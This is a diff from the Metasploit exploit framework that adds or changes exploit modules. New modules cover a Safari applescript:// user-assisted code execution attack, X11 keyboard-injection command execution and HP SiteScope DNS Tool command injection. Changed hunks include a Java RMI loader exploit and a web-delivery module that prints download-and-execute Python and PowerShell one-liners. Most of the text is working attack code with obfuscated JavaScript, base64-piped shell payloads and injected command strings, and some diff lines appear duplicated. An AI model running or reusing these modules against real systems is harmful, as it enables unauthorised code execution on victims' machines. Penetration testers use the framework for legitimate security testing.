# When the server stops due primer failing, re-raise
# RuntimeError so it won't wait the full wfs_delays
raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"
rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
# When the primer fails due to an error connecting with
# the rhost, re-raise RuntimeError so it won't wait the
# the rhost, re-raise RuntimeError so it won't wait the
# full wfs_delays
raise ::RuntimeError, e.message
end
@ -150,28 +148,28 @@ class Metasploit3 < Msf::Exploit::Remote
uid_time: 0,
uid_count: 0,
operation: 0,
hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash
hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash
arguments: build_dgc_clean_args(new_url)
)
return_value = recv_return
if return_value.nil? && !session_created?
fail_with(Failure::Unknown, 'RMI Call failed')
fail_with(Failure::Unknown, 'RMI Call failed')
end
if return_value && return_value.is_exception? && loader_disabled?(return_value)
fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
end
if return_value && return_value.is_exception? && class_not_found?(return_value)
fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
end
disconnect
end
def on_request_uri(cli, request)
def on_request_uri(cli, request)
if request.uri =~ /\.jar$/i
p = regenerate_payload(cli)
jar = p.encoded_jar
@ -202,7 +200,7 @@ class Metasploit3 < Msf::Exploit::Remote
if exception.class == Rex::Java::Serialization::Model::NewObject &&
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
exception.class_data[0].class == Rex::Java::Serialization::Model::NullReference &&
[Rex::Java::Serialization::Model::NullReference, Rex::Java::Serialization::Model::Reference].include?(exception.class_data[0].class) &&
exception.class_data[1].contents.include?('RMI class loader disabled')
return true
end
@ -252,7 +250,7 @@ class Metasploit3 < Msf::Exploit::Remote
new_array.array_description = array_desc
arguments << new_array
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')

View File

@ -89,7 +89,8 @@ class Metasploit3 < Msf::Exploit::Remote
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
when 'PSH'
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))"
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)
download_and_run = "#{ignore_cert}#{download_string}"
print_line generate_psh_command_line(
noprofile: true,
windowstyle: 'hidden',

View File

@ -0,0 +1,93 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::EXE
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Safari User-Assisted Applescript Exec Attack',
'Description' => %q{
In versions of Mac OS X before 10.11.1, the applescript:// URL
scheme is provided, which opens the provided script in the Applescript
Editor. Pressing cmd-R in the Editor executes the code without any
additional confirmation from the user. By getting the user to press
cmd-R in Safari, and by hooking the cmd-key keypress event, a user
can be tricked into running arbitrary Applescript code.
Gatekeeper should be disabled from Security & Privacy in order to
avoid the unidentified Developer prompt.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_CMD,
'Platform' => ['unix', 'osx'],
'Compat' =>
{
'PayloadType' => 'cmd'
},
'Targets' =>
[
[ 'Mac OS X', {} ]
],
'DefaultOptions' => { 'payload' => 'cmd/unix/reverse_python' },
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 16 2015',
'Author' => [ 'joev' ],
'References' =>
[
[ 'CVE', '2015-7007' ],
[ 'URL', 'https://support.apple.com/en-us/HT205375' ]
],
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::SAFARI,
:os_name => OperatingSystems::Match::MAC_OSX
}
))
register_options([
OptString.new('CONTENT', [false, "Content to display in browser",
"This page has failed to load. Press cmd-R to refresh."]),
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
], self.class)
end
def on_request_exploit(cli, request, profile)
print_status("Sending #{self.name}")
send_response_html(cli, exploit_html)
end
def exploit_html
"<!doctype html><html><body>#{content}<script>#{exploit_js}</script></body></html>"
end
def exploit_js
js_obfuscate %Q|
var as = Array(150).join("\\n") +
'do shell script "echo #{Rex::Text.encode_base64(sh)} \| base64 --decode \| /bin/sh"';
var url = 'applescript://com.apple.scripteditor?action=new&script='+encodeURIComponent(as);
window.onkeydown = function(e) {
if (e.keyCode == 91) {
window.location = url;
}
};
|
end
def sh
'killall "Script Editor"; nohup ' + payload.encoded
end
def content
datastore['CONTENT']
end
end

View File

@ -59,6 +59,10 @@ class Metasploit3 < Msf::Exploit::Remote
send_response(cli, data)
end
def autofilter
true
end
def check
res = send_request_cgi({
'uri' => '/search',

View File

@ -146,4 +146,8 @@ class Metasploit3 < Msf::Exploit::Remote
send_not_found(cli)
end
def autofilter
true
end
end

View File

@ -121,6 +121,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
uris.uniq!
print_status("Loaded #{uris.length} URLs")
http_method = "GET"
end
# Very short timeout because the request may never return if we're

View File

@ -63,6 +63,10 @@ class Metasploit3 < Msf::Exploit::Remote
"#{get_uri}.php"
end
def autofilter
true
end
def call_payload(file_name)
res = send_request_cgi({
'method' => 'GET',

View File

@ -0,0 +1,494 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
KB_KEYS = {
'1' => "\x0a",
'2' => "\x0b",
'3' => "\x0c",
'4' => "\x0d",
'5' => "\x0e",
'6' => "\x0f",
'7' => "\x10",
'&' => "\x10",
'8' => "\x11",
'9' => "\x12",
'(' => "\x12",
'0' => "\x13",
')' => "\x13",
'-' => "\x14",
'=' => "\x15",
'q' => "\x18",
'w' => "\x19",
'e' => "\x1a",
'r' => "\x1b",
't' => "\x1c",
'y' => "\x1d",
'u' => "\x1e",
'i' => "\x1f",
'o' => "\x20",
'p' => "\x21",
'[' => "\x22",
'{' => "\x22",
']' => "\x23",
'}' => "\x23",
'a' => "\x26",
's' => "\x27",
'd' => "\x28",
'f' => "\x29",
'g' => "\x2a",
'h' => "\x2b",
'j' => "\x2c",
'k' => "\x2d",
'l' => "\x2e",
';' => "\x2f",
':' => "\x2f",
"'" => "\x30",
'"' => "\x30",
'`' => "\x31",
'~' => "\x31",
'lshift' => "\x32",
'\\' => "\x33",
'|' => "\x33",
'z' => "\x34",
'x' => "\x35",
'c' => "\x36",
'v' => "\x37",
'b' => "\x38",
'n' => "\x39",
'm' => "\x3a",
',' => "\x3b",
'<' => "\x3b",
'.' => "\x3c",
'>' => "\x3c",
'/' => "\x3d",
'*' => "\x3f",
'alt' => "\x40",
' ' => "\x41",
'f2' => "\x44"
}
def initialize(info = {})
super(update_info(info,
'Name' => 'X11 Keyboard Command Injection',
'Description' => %q{
This module exploits open X11 servers by connecting and registering a
virtual keyboard. The virtual keyboard is used to open an xterm or gnome
terminal and type and execute the specified payload.
},
'Author' =>
[
'xistence <xistence[at]0x90.nl>'
],
'Privileged' => false,
'License' => MSF_LICENSE,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'gawk bash-tcp python netcat'
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'xterm (Generic)', {}],
[ 'gnome-terminal (Ubuntu)', {}],
], 'DisclosureDate' => 'Jul 10 2015',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(6000),
OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows in seconds', 5])
], self.class)
end
def xkeyboard_key
req = ""
req << @xkeyboard_opcode
req << "\x05" # Extension minor: 5 (LatchLockState)
req << "\x04\x00" # Request length: 4
req << "\x00\x01" # DeviceSpec: 0x0100 (256)
req << "\x00" # affectModLocks: 0
req << "\x00" # modLocks: 0
req << "\x01" # lockGroup: True
req << "\x00" # groupLock: 0
req << "\x00" # affectModLatches: 0
req << "\x00" # Unused
req << "\x00" # latchGroup: False
req << "\x00\x00" # groupLatch: 0
req << "\x00" # Undecoded
return req
end
def press_key(key)
req = xkeyboard_key
req << @xtest_opcode
req << "\x02" # Extension minor: 2 (FakeInput)
req << "\x09\x00" # Request length: 9
req << "\x02" # Press key (Type: 2)
req << key # What key to press
req << "\x04\x00" # Unused?
req << "\x00\x00\x00\x00" # Time
req << "\x00\x00\x00\x00" # Root
req << "\x07\x00\x07\x00" # Unused?
req << "\x88\x04\x02\x00" # Unused?
#req << "\x00\x01" # rootX: 256
#req << "\xf5\x05" # rootY: 1525
req << "\x00\x00" # rootX: 0
req << "\x00\x00" # rootY: 0
req << "\x00\x00\x00\x00" # Unused?
req << "\x00\x00\x00" # Unused?
req << "\x00" # deviceid: 0
req << xkeyboard_key
req << "\x2b" # Opcode 43: GetInputFocus
req << "\x00" # Unused
req << "\x01\x00" # Request length: 1
sock.put(req)
res = sock.get_once
# Response should give 1 on first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}")
end
end
def release_key(key)
req = xkeyboard_key
req << @xtest_opcode
req << "\x02" # Extension minor: 2 (FakeInput)
req << "\x09\x00" # Request length: 9
req << "\x03" # Release key (Type: 3)
req << key # What key to release
req << "\x04\x00" # Unused?
req << "\x00\x00\x00\x00" # Time
req << "\x00\x00\x00\x00" # Root
req << "\x07\x00\x07\x00" # Unused?
req << "\x88\x04\x02\x00" # Unused?
#req << "\x00\x01" # rootX: 256
#req << "\xf5\x05" # rootY: 1525
req << "\x00\x00" # rootX: 0
req << "\x00\x00" # rootY: 0
req << "\x00\x00\x00\x00" # Unused?
req << "\x00\x00\x00" # Unused?
req << "\x00" # deviceid: 0
req << xkeyboard_key
req << "\x2b" # Opcode 43: GetInputFocus
req << "\x00" # Unused
req << "\x01\x00" # Request length: 1
sock.put(req)
res = sock.get_once
# Response should give 1 on first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}")
end
end
def type_command(command)
# Specify the special keys which need to have shift pressed first to type
specialkeys = '<>{}|"&()'.chars
values = command.chars
values.each do |value|
key = KB_KEYS[value]
# Special keys need a shift pressed to be typed
if Regexp.union(specialkeys) =~ value
press_key(KB_KEYS["lshift"]) # [lshift]
press_key(key)
release_key(KB_KEYS["lshift"])
release_key(key)
# Uppercase characters need to be converted to lowercase and be typed in combination with the shift key to generate uppercase
elsif value =~ /[A-Z]/
press_key(KB_KEYS["lshift"]) # [lshift]
press_key(KB_KEYS[value.downcase])
release_key(KB_KEYS["lshift"])
release_key(KB_KEYS[value.downcase])
# All normal keys which are not special keys or uppercase characters
else
press_key(key)
release_key(key)
end
end
# Send an enter
press_key("\x24") # [enter]
release_key("\x24") # [enter]
end
def send_msg(sock, data)
sock.put(data)
data = ""
begin
read_data = sock.get_once(-1, 1)
while not read_data.nil?
data << read_data
read_data = sock.get_once(-1, 1)
end
rescue EOFError
end
data
end
def exploit
begin
connect
print_status("#{rhost}:#{rport} - Register keyboard")
req = "\x6c" # Byte order (Little-Endian)
req << "\x00" # Unused
req << "\x0b\x00" # Protocol major version: 11
req << "\x00\x00" # Protocol minor version: 0
req << "\x00\x00" # Authorization protocol name length: 0
req << "\x00\x00" # Authorization protocol data length: 0
req << "\x00\x00" # Unused
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed")
end
# Keyboard registration
req = "\x62" # Opcode 98: QueryExtension
req << "\x00" # Unused
req << "\x05\x00" # Request length: 5
req << "\x09\x00" # Name length: 9
req << "\x60\x03" # Unused?
req << "XKEYBOARD" # Name
req << "\x00\x00\x00" # Unused, padding?
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
if res && res[0,1] == "\x01"
@xkeyboard_opcode = res[9,1] # Retrieve the XKEYBOARD opcode
else
#puts res.inspect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XKEYBOARD failed")
end
req = ""
req << @xkeyboard_opcode
req << "\x00" # Extension minor: 0 (UseExtension)
req << "\x02\x00" # Request length: 2
req << "\x01\x00" # Wanted Major: 1
req << "\x00\x00" # Wanted Minor: 0
# Retrieve the whole X11 details response
res = send_msg(sock,req)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -")
end
req = "\x62" # Opcode 98: QueryExtension
req << "\x00" # Unused
req << "\x06\x00" # Request length: 6
req << "\x0f\x00" # Name length: 15
req << "\x00\x00" # Unused
req << "XInputExtension" # Name
req << "\x00" # Unused, padding?
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed")
end
req = "\x62" # Opcode 98: QueryExtension
req << "\x00" # Unused
req << "\x04\x00" # Request length: 4
req << "\x05\x00" # Name length: 5
req << "\x00\x00" # Unused
req << "XTEST" # Name
req << "\x00\x00\x00" # Unused, padding?
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
if res && res[0,1] == "\x01"
@xtest_opcode = res[9,1] # Retrieve the XTEST opcode
else
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed")
end
req = "\x62" # Opcode 98: QueryExtension
req << "\x00" # Unused
req << "\x08\x00" # Request length
req << "\x17\x00" # Name length
req << "\x00\x00" # Unused
req << "Generic Event Extension" # Name
req << "\x00" # Unused, padding?
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
if res && res[0,1] == "\x01"
@genericevent_opcode = res[9,1] # Retrieve the Generic Event Extension opcode
else
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed")
end
req = ""
req << @genericevent_opcode
req << "\x00" # Extension minor: 0 (QueryVersion)
req << "\x02\x00" # Request length: 2
req << "\x01\x00" # Client major version: 1
req << "\x00\x00" # Client minor version: 0
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
end
req = ""
req << @xtest_opcode
req << "\x00" # Extension minor: 0 (GetVersion)
req << "\x02\x00" # Request length: 2
req << "\x02\x00" # Major version: 2
req << "\x02\x00" # Minor version: 2
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed")
end
req = "\x65" # Opcode 101: GetKeyboardMapping
req << "\x00" # Unused
req << "\x02\x00" # Request length: 2
req << "\x08" # First keycode: 8
req << "\xf8" # Count: 248
req << "\x02\x00" # Unused?
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed")
end
req = ""
req << @xkeyboard_opcode
req << "\x08" # Extension minor: 8 (GetMap)
req << "\x07\x00" # Request length: 7
req << "\x00\x01" # Device spec: 0x0100 (256)
req << "\x07\x00" # Full: 7
req << "\x00\x00" # Partial: 0
req << "\x00" # firsType: 0
req << "\x00" # nTypes: 0
req << "\x00" # firstKeySym: 0
req << "\x00" # nKeySym: 0
req << "\x00" # firstKeyAction: 0
req << "\x00" # nKeysActions: 0
req << "\x00" # firstKeyBehavior: 0
req << "\x00" # nKeysBehavior: 0
req << "\x00\x00" # virtualMods: 0
req << "\x00" # firstKeyExplicit: 0
req << "\x00" # nKeyExplicit: 0
req << "\x00" # firstModMapKey: 0
req << "\x00" # nModMapKeys: 0
req << "\x00" # firstVModMapKey: 0
req << "\x00" # nVModMapKeys: 0
req << "\x00\x00" # Unused, padding?
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
end
# Press ALT+F2 to start up "Run application"
print_status("#{rhost}:#{rport} - Opening \"Run Application\"")
press_key(KB_KEYS["alt"])
press_key(KB_KEYS["f2"])
release_key(KB_KEYS["alt"])
release_key(KB_KEYS["f2"])
# Wait X seconds to open the dialog
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
Rex.sleep(datastore['TIME_WAIT'])
if datastore['TARGET'] == 0
# Start a xterm terminal
print_status("#{rhost}:#{rport} - Opening xterm")
type_command("xterm")
else
# Start a Gnome terminal
print_status("#{rhost}:#{rport} - Opening gnome-terminal")
type_command("gnome-terminal")
end
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
# Wait X seconds to open the terminal
Rex.sleep(datastore['TIME_WAIT'])
# "Type" our payload and execute it
print_status("#{rhost}:#{rport} - Typing and executing payload")
command = "nohup #{payload.encoded} &2>/dev/null; sleep 1; exit"
type_command(command)
handler
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
print_error("#{rhost}:#{rport} - #{e.message}")
ensure
disconnect
end
end
end

View File

@ -0,0 +1,196 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/powershell'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info={})
super(update_info(info,
'Name' => 'HP SiteScope DNS Tool Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability
discovered in HP SiteScope 11.30 and earlier versions (tested in 11.26
and 11.30). The vulnerability exists in the DNS Tool allowing an
attacker to execute arbitrary commands in the context of the service. By
default, HP SiteScope installs and runs as SYSTEM in Windows and does
not require authentication. This vulnerability only exists on the
Windows version. The Linux version is unaffected.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kirk Hayes', # @kirkphayes / Vulnerability Discovery and MSF module author
'Charles Riggs', # c0v3rt_chann3l / Vulnerability Discovery
'Juan Vazquez' # help with MSF module
],
'References' =>
[
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/10/09/r7-2015-17-hp-sitescope-dns-tool-command-injection'],
['URL', 'http://www8.hp.com/us/en/software-solutions/sitescope-application-monitoring/index.html'] # vendor site
],
'Platform' => 'win',
'Targets' =>
[
[ 'HP SiteScope 11.30 / Microsoft Windows 7 and higher',
{
'Arch' => [ARCH_X86_64, ARCH_X86]
}
],
[ 'HP SiteScope 11.30 / CMD',
{
'Arch' => [ARCH_CMD]
}
]
],
'Privileged' => false,
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 9 2015'))
register_options(
[
Opt::RPORT(8080),
OptString.new('SITE_SCOPE_USER', [false, 'Username for authentication', '']),
OptString.new('SITE_SCOPE_PASSWORD', [false, 'Password for authentication', '']),
OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
], self.class)
end
def exploit
initial_session = get_initial_session_id
redirect = authenticate(initial_session)
session = get_authenticated_session_id(initial_session, redirect)
csrf_token = get_csrf_token(session)
print_status("#{peer} - Executing payload")
random_mark = Rex::Text.rand_text_alpha(5 + rand(5))
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path.to_s, 'remoteProxy'),
'method' => 'POST',
'vars_get' => {
'OWASP_CSRFTOKEN' => csrf_token
},
'cookie' => session,
'ctype' => 'application/octet- serializable object',
'data' => build_stream(random_mark)
}, 5)
if res && res.code == 200 && res.body
res_io = StringIO.new(res.body.to_s)
res_stream = Rex::Java::Serialization::Model::Stream.decode(res_io)
return if res_stream.nil?
show = false
res_stream.references.each do |ref|
if ref.class == Rex::Java::Serialization::Model::Utf && show
print_good(ref.contents)
next
elsif ref.class == Rex::Java::Serialization::Model::Utf && ref.contents.include?(random_mark)
show = true
next
end
end
end
end
def get_initial_session_id
print_status("#{peer} - Retrieving an initial JSESSIONID...")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path.to_s, 'servlet', 'Main'),
'method' => 'POST'
)
if res and res.code == 200 and res.get_cookies.include?('JSESSIONID')
session_id = res.get_cookies
else
fail_with(Failure::Unknown, "#{peer} - Retrieve of initial JSESSIONID failed")
end
session_id
end
def authenticate(session_id)
print_status("#{peer} - Authenticating on HP SiteScope Configuration...")
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path.to_s, 'j_security_check'),
'method' => 'POST',
'cookie' => session_id,
'vars_post' => {
'j_username' => datastore['SITE_SCOPE_USER'],
'j_password' => datastore['SITE_SCOPE_PASSWORD']
}
})
if res && res.code == 302
redirect = URI(res.headers['Location']).path
else
fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")
end
redirect
end
def get_authenticated_session_id(session_id, redirect)
print_status("#{peer} - Following redirection to finish authentication...")
res = send_request_cgi(
{
'uri' => redirect,
'method' => 'GET',
'cookie' => session_id
})
if res && res.code == 200 && res.get_cookies.include?('JSESSIONID')
auth_session = res.get_cookies
else
fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")
end
auth_session
end
def get_csrf_token(session)
print_status("#{peer} - Getting anti-CSRF token...")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path.to_s, 'jsp', 'tabs.jsp'),
'cookie' => session
)
if res && res.code == 302 && res.headers['Location'] =~ /OWASP_CSRFTOKEN=([A-Z0-9\-]+)/
csrf_token = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to get anti-CSRF token")
end
csrf_token
end
def build_stream(random_mark)
site = "google.com & echo #{random_mark} & "
if target.arch.include?('cmd')
command = payload.encoded
else
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
end
file = File.join( Msf::Config.data_directory, 'exploits', 'CVE-pending', 'stream.raw')
f = File.new(file, 'rb')
stream = Rex::Java::Serialization::Model::Stream.decode(f)
f.close
dns_param = stream.references[0x44]
dns_param.contents = site + command
dns_param.length = dns_param.contents.length
stream.encode
end
end

View File

@ -31,6 +31,10 @@ class Metasploit3 < Msf::Exploit::Remote
'References' =>
[
[ 'EDB', '38174' ],
[ 'CVE', '2015-7765' ], # Hardcoded password
[ 'CVE', '2015-7766' ], # SQL query bypass
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Sep/66' ],
[ 'URL', 'https://support.zoho.com/portal/manageengine/helpcenter/articles/pgsql-submitquery-do-vulnerability' ]
],
'Platform' => ['java'],
'Arch' => ARCH_JAVA,

View File

@ -52,6 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote
['Windows XP SP2 German', { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp
['Windows XP SP2 Polish', { 'Rets' => [ 1787, 0x77d4e26e ]}], # jmp esp
['Windows XP SP2 French', { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp
['Windows XP SP3 French', { 'Rets' => [ 1787, 0x7e3a9353 ]}], # jmp esp
],
'DefaultOptions' =>
{

View File

@ -81,6 +81,10 @@ class Metasploit3 < Msf::Exploit::Remote
remove_resource(get_resource)
end
def autofilter
true
end
def primer
file_name = rand_text_alpha(rand(10)+5)
file_ext = '.vbs'

View File

@ -31,7 +31,9 @@ class Metasploit3 < Msf::Exploit::Remote
],
'References' =>
[
['EDB', '38173']
['EDB', '38173'],
['CVE', '2015-7387'],
['URL', 'http://seclists.org/fulldisclosure/2015/Sep/59']
],
'Platform' => ['win'],
'Arch' => ARCH_X86,

View File

@ -42,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>'
],
'Platform' => [ 'win' ],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'License' => MSF_LICENSE,
'References' =>
[

View File

@ -54,6 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'BID', '4797' ]
],
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'Targets' =>
[
[ 'Automatic', { } ],

View File

@ -75,6 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'Payload' =>
{
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",

View File

@ -74,6 +74,10 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
def autofilter
true
end
def process_get(cli, request)
if request.uri =~ /#{@basename}(\d)\.bcl/
print_status("GET => Payload")

Some files were not shown because too many files have changed in this diff Show More